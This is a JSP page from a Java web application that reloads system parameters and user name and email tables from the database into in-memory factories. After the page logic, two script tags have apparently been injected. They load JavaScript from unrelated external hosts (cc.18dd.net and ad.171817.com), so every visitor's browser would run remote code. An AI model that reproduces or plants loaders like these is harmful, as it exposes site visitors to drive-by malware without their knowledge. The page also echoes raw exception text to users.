<%@ page import="java.sql.Connection" %>
<%@ page import="java.util.Hashtable" %>
<%@ page import="com.dcivision.framework.SystemParameterFactory" %>
<%@ page import="com.dcivision.framework.UserInfoFactory" %>
<%@ page import="com.dcivision.framework.GlobalConstant" %>
<%@ page import="com.dcivision.framework.DataSourceFactory" %>
<%@ page import="com.dcivision.framework.Utility" %>
<%@ page import="com.dcivision.framework.dao.GlobalReferenceDAObject" %>
<%
    java.sql.Connection conn = null;
    try {
      conn = DataSourceFactory.getConnection();
      GlobalReferenceDAObject gloRefDAO = new GlobalReferenceDAObject(conn);

      // Initialize system parameters hash table.
      Hashtable sysParaHash = gloRefDAO.getAllSysParameter();

      // Override the database system parameters configuration with property file
      sysParaHash.putAll(Utility.parseResourceBundle(GlobalConstant.CONFIG_FILENAME));
      SystemParameterFactory.init(sysParaHash);

      // Initialize user names and user emails hash tables.
      Hashtable userInfoHash = gloRefDAO.getAllUserInfo();
      UserInfoFactory.init(userInfoHash);

      gloRefDAO = null;
      out.println("Success");
    } catch (Exception e) {
      out.println(e);      
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>